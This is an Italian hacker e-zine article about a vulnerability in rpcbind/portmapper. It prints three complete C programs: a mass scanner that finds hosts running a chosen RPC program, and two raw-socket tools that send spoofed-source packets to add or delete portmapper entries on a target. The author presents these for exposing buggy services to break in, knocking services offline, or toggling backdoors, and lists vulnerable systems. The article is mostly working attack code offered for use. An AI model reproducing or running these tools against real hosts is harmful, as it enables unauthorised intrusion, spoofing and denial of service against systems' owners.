==============================================================================
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
--------------------[ previous ]---[ index ]---[ next ]---------------------

-------------------------[ VULNERABiLiTA' di RPCBiND ]------------------------
-----------------------------------[ pIGpEN ]---------------------------------


Attachment: rpc-date.zip

CONSUMO : 1 panino con la nutella
MUSiCA  : Visions of Johanna -- Grateful Dead 
          (fantastica canzone di Bob Dylan in versione Jerry Garcia)
SALUTI  : ins4ne (colui che non mangia carne 8)

In questo articolo vedremo come e' possibile sfruttare una vulnerabilita' 
presente in alcuni sistemi per alzare e abbassare a proprio piaccimento
servizi rpc.
In questo numero di BFi e' presente un articolo sulle rpc backdoor... se
volete capire un po' di piu' il funzionamento degli rpc guardatelo.
Qui presumo che tutti voi sappiate cosa sia un rpc...
L'rpcbind non e' altro che quel servizio che permette di dialogare via rpc
fornendo il numero di programma e ottenendo quindi il servizio richiesto.
Eseguendo per esempio:

rpcinfo -p 192.168.1.2

nella mia rete di casa ottengo:

   program vers proto   port
    100000    2   tcp    111  rpcbind
    100000    2   udp    111  rpcbind
    100005    1   udp    635  mountd
    100005    2   udp    635  mountd
    100005    1   tcp    635  mountd
    100005    2   tcp    635  mountd
    100003    2   udp   2049  nfs
    100003    2   tcp   2049  nfs

Questa e' quindi una lista di tutti i servizi rpc presenti sul mio sistema.
Il primo campo (program) indica appunto il numero di programma, che sara'
un numero univoco.
Il secondo campo e' la versione del prog.
Gli altri non credo di doverli spiegare. Tenete conto pero' che non
necessariamente avrete dopo port il nome... Vi potrebbe capitare pure un
campo vuoto...
Mi sembra chiaro che questo non sia un problema perche' il "campo chiave"
e' il program.
Se volete una lista dei numeri degli rpc guardatevi il file /etc/rpc .
Nello speciale natalizio di BFi ho presentato per esempio un rpc.ttdbserver
scanner non utilizzabile dai lameroni... in quanto faceva affidamento al
nome visibile nel quinto campo... E se quello non fosse stato corretto?!? :)
Beh se volete uno scanner che funge al 100% eccovelo... occorre fare una
compare sul numero di programma :)

/*
   RPC PROGRAM SCANNER
   This scanner can find an rpc program thx to its program numbers.
   If u r looking for a prog number type:
   cat /etc/rpc ;)
   pIGpEN/s0ftpj99
*/  

#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <rpc/rpc.h>
#include <rpc/pmap_prot.h>
#include <rpc/pmap_clnt.h>

int check(char *host);
unsigned long int res(char *p);
void woopy(int s);
void usage(char *s);
void scan(char *i, char *o);

int RNUMBER;

void usage(char *s)
{
  printf("Usage: %s <inputfile> <outputfile> <rpcnumber>\n\n\n\n",s);
  exit(-1);
}

void main(int argc, char **argv)
{
  system("clear");
  printf("RPC PROGRAM NUMBER FiNDER\n");
  printf("-=-=-=-=-=-=-=-=-=-=-=-=-\n");
  printf("Coded by pIGpEN/s0ftpj99\n");
  printf("Original scanner coded by BiT'97\n\n\n");
  
  if(argc<4)
    usage(argv[0]);
  RNUMBER=atoi(argv[3]);
  scan(argv[1],argv[2]);
}

void scan(char *i, char *o)
{
  FILE *iff, *of;
  char buf[512];

  if((iff=fopen(i,"r")) == NULL)
    return;
  while(fgets(buf,512,iff) != NULL)
  {
    if(buf[strlen(buf)-1]=='\n')
      buf[strlen(buf)-1]=0;
    if(check(buf) && (of=fopen(o,"a")) != NULL) {
      buf[strlen(buf)+1]=0;
      buf[strlen(buf)]='\n';

      fputs(buf,of);
      fclose(of);
    }
  }
  fclose(iff);
}

void woopy(int s)
{
  return;
}

int check(char *host)
{
  struct sockaddr_in server_addr;
  struct pmaplist *head = NULL;
  int sockett = RPC_ANYSOCK;
  struct timeval minutetimeout;
  register CLIENT *client;
  struct rpcent *rpc;

  server_addr.sin_addr.s_addr=res(host);
  server_addr.sin_family=AF_INET;
  server_addr.sin_port = htons(PMAPPORT);
  minutetimeout.tv_sec = 15;
  minutetimeout.tv_usec = 0;

  /* cause clnttcp_create uses connect() */
  signal(SIGALRM,woopy);
  alarm(15);

  if ((client = clnttcp_create(&server_addr, PMAPPROG,
        PMAPVERS, &sockett, 50, 500)) == NULL) {
    alarm(0);
    signal(SIGALRM,SIG_DFL);
    return 0;
  }
  alarm(0);
  signal(SIGALRM,SIG_DFL);

  if (clnt_call(client, PMAPPROC_DUMP, (xdrproc_t) xdr_void, NULL,
        (xdrproc_t) xdr_pmaplist, &head, minutetimeout) != RPC_SUCCESS)
    return 0;
  if (head != NULL)
    for (; head != NULL; head = head->pml_next)
      if((rpc = getrpcbynumber(head->pml_map.pm_prog)))
        if((rpc->r_number)==RNUMBER){
          printf("Rpc Number Found At: %s\n",host); 
          return 1;}
  return 0;
}

unsigned long int res(char *p)
{
   struct hostent *h;
   unsigned long int rv;

   h=gethostbyname(p);
   if(h!=NULL)
     memcpy(&rv,h->h_addr,h->h_length);
   else
     rv=inet_addr(p);
   return rv;
}


Per esperienza personale e non, vi posso assicurare che quasi tutti i
programmi rpc hanno avuto problemi di sicurezza fornendo spesso shell da
remoto.
Quindi la presenza di un bug rpcbind con la conseguente possibilita' di
alzare e abbassare un programma rpc potrebbe garantire di alzare un servizio
buggato per poi bucare la macchina oppure abbassare un servizio gia' attivo
producendo cosi' un denial of service.
Se poi avete una rpc backdoor presente su un sistema potete per esempio
renderla disponibile o non attraverso i due sorgenti che presentero' di
seguito.
Tenete presente che entrambi i source richiedono accesso root per utilizzare
raw socket... e offrono (anzi rendono obbligatoria:) la possibilita' di
spoofare l'ip sorgente.

Attualmente ho provato questo codice sotto RedHat con kernel 2.0.32 di
seguito fornisco una lista un po' piu' dettagliata:

    Linux (Redhat)
    Irix 6.2
    Wietse's rpcbind 2.1 replacement (Wietse's warns the use of proper filtering to be used with his
    package, although we are sure he didn't intend for anyone to be able to trivially remove/add
    entries)
    Solaris 2.6 (you can only add and delete services inserted remotely)
    Other version have yet to be tested.

The versions of rpcbind that are NOT vulnerable are contained in:

    Openbsd (confirmed by deraadt@cvs.openbsd.org)

Queste info, come i due semplice sorgenti che seguiranno, sono reperibili
su rootshell.

---------- snip ----------
/*
 * pmap_set v1.0 
 * 
 * Martin Rosa <mrosa@pgci.ca>
 * 
 * Example usage:
 * pmap_set 127.0.0.1 1.1.1.1 100005 1 udp 666
 *
 * This would add to portmapper's list mountd (100005) version 1 on udp
 * port 666.
 *
 * Instead of 127.0.0.1, you could also use 1.1.1.1.  It depends on filters
 * installed on your target's network.
 *
 * Notes:
 * arnudp v0.01 has been used as skeleton, Arny <cs6171@scitsc.wlv.ac.uk>
 *
 */

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in_systm.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/udp.h>
#include<errno.h>
#include<string.h>
#include<netdb.h>
#include<arpa/inet.h>
#include<stdio.h>

static char rcsid[]="$Id: pmap_set.c,v 1.1 1999/01/09 02:57:33 root Exp$";

main(int argc, char *argv[])
{
int fd, x=1, proto;
struct sockaddr sa;
struct sockaddr_in *sin;
struct hostent *he;
u_char gram[84]=
        {
        /* IP Header */
        0x45,   0x00,   0x54,   0x00,
        0x00,   0x26,   0x00,   0x00,
        0x36,   0x11,   0x00,   0x00,
        0xCE,   0xE7,   0xD2,   0x02,
        0xCE,   0xE7,   0xD2,   0x02,

        /* UDP Header */
        0x03,   0x52,   0x00,   0x6f,
        0x00,   0x40,   0x00,   0x00,

        /* Data */
        0x37,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x02,
        0x00,   0x01,   0x86,   0xA0,
        0x00,   0x00,   0x00,   0x02,
        0x00,   0x00,   0x00,   0x01,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00
        };

if (argc != 7) {
  fprintf(stderr, "usage: %s [src ip] [dst ip] [prognum] [versnum] [udp|tcp] [port]\n", *argv);
  exit(-1);
  };

proto=strcmp(argv[5], "udp");

if ((he = gethostbyname(argv[1])) == NULL) {
  fprintf(stderr, "Can't resolve source hostname\n");
  exit(-1);
  };
bcopy(*(he->h_addr_list), (gram+12), 4);

if ((he = gethostbyname(argv[2])) == NULL) {
  fprintf(stderr, "Can't resolve destination hostname\n");
  exit(1);
  };
bcopy(*(he->h_addr_list), (gram+16), 4);

*(u_long *) (gram + 68) = htonl((u_long) atoi(argv[3]));
*(u_long *) (gram + 72) = htonl((u_long) atoi(argv[4]));
*(u_long *) (gram + 76) = htonl((u_long) proto==0 ? 17 : 6);
*(u_long *) (gram + 80) = htonl((u_long) atoi(argv[6]));

sin = (struct sockaddr_in *) &sa;
sin->sin_family = AF_INET;
bcopy(*(he->h_addr_list), &(sin->sin_addr), sizeof(struct in_addr));

if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) {
  perror("socket");
  exit(-1);
  };

#ifdef IP_HDRINCL
if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x)) < 0) {
  perror("setsockopt IP_HDRINCL");
  exit(-1);
  };
#else
fprintf(stderr, "IP_HDRINCL not present.\n");
exit(-1);
#endif

if ((sendto(fd, &gram, sizeof(gram), 0, (struct sockaddr *) sin, sizeof(struct sockaddr))) == -1) {
  perror("sendto");
  exit(-1);
  };
}


E per l'unset:


/*
 * pmap_unset v1.0 
 * 
 * Martin Rosa <mrosa@pgci.ca>
 * 
 * Example usage:
 * pmap_unset 127.0.0.1 1.1.1.1 100005 1
 *
 * This would remove mountd (100005) entry from portmapper's list.
 *
 * Instead of 127.0.0.1, you could also use 1.1.1.1.  It depends on filters
 * installed on your target's network.
 *
 * Notes:
 * arnudp v0.01 has been used as skeleton, Arny <cs6171@scitsc.wlv.ac.uk>
 *
 */

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in_systm.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/udp.h>
#include<errno.h>
#include<string.h>
#include<netdb.h>
#include<arpa/inet.h>
#include<stdio.h>

static char rcsid[]="$Id: pmap_unset.c,v 1.1 1999/01/09 02:53:38 root Exp $";

main(int argc, char *argv[])
{
int fd, x=1;
struct sockaddr sa;
struct sockaddr_in *sin;
struct hostent *he;
u_char gram[84]=
        {
        /* IP Header */
        0x45,   0x00,   0x54,   0x00,
        0x00,   0x26,   0x00,   0x00,
        0x36,   0x11,   0x00,   0x00,
        0xCE,   0xE7,   0xD2,   0x02,
        0xCE,   0xE7,   0xD2,   0x02,

        /* UDP Header */
        0x03,   0x52,   0x00,   0x6f,
        0x00,   0x40,   0x00,   0x00,

        /* Data */
        0x37,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x02,
        0x00,   0x01,   0x86,   0xA0,
        0x00,   0x00,   0x00,   0x02,
        0x00,   0x00,   0x00,   0x02,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00
        };

if (argc != 5) {
  fprintf(stderr, "usage: %s [src ip] [dst ip] [prognum] [versnum]\n", *argv);
  exit(-1);
  };

if ((he = gethostbyname(argv[1])) == NULL) {
  fprintf(stderr, "Can't resolve source hostname\n");
  exit(-1);
  };
bcopy(*(he->h_addr_list), (gram+12), 4);

if ((he = gethostbyname(argv[2])) == NULL) {
  fprintf(stderr, "Can't resolve destination hostname\n");
  exit(1);
  };
bcopy(*(he->h_addr_list), (gram+16), 4);

*(u_long *) (gram + 68) = htonl((u_long) atoi(argv[3]));
*(u_long *) (gram + 72) = htonl((u_long) atoi(argv[4]));

sin = (struct sockaddr_in *) &sa;
sin->sin_family = AF_INET;
bcopy(*(he->h_addr_list), &(sin->sin_addr), sizeof(struct in_addr));

if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) {
  perror("socket");
  exit(-1);
  };

#ifdef IP_HDRINCL
if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x)) < 0) {
  perror("setsockopt IP_HDRINCL");
  exit(-1);
  };
#else
fprintf(stderr, "IP_HDRINCL not present.\n");
exit(-1);
#endif

if ((sendto(fd, &gram, sizeof(gram), 0, (struct sockaddr *) sin, sizeof(struct sockaddr))) == -1) {
  perror("sendto");
  exit(-1);
  };
}


E ora spazio alla fantasia...

pIGpEN
--------------------[ previous ]---[ index ]---[ next ]---------------------
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
==============================================================================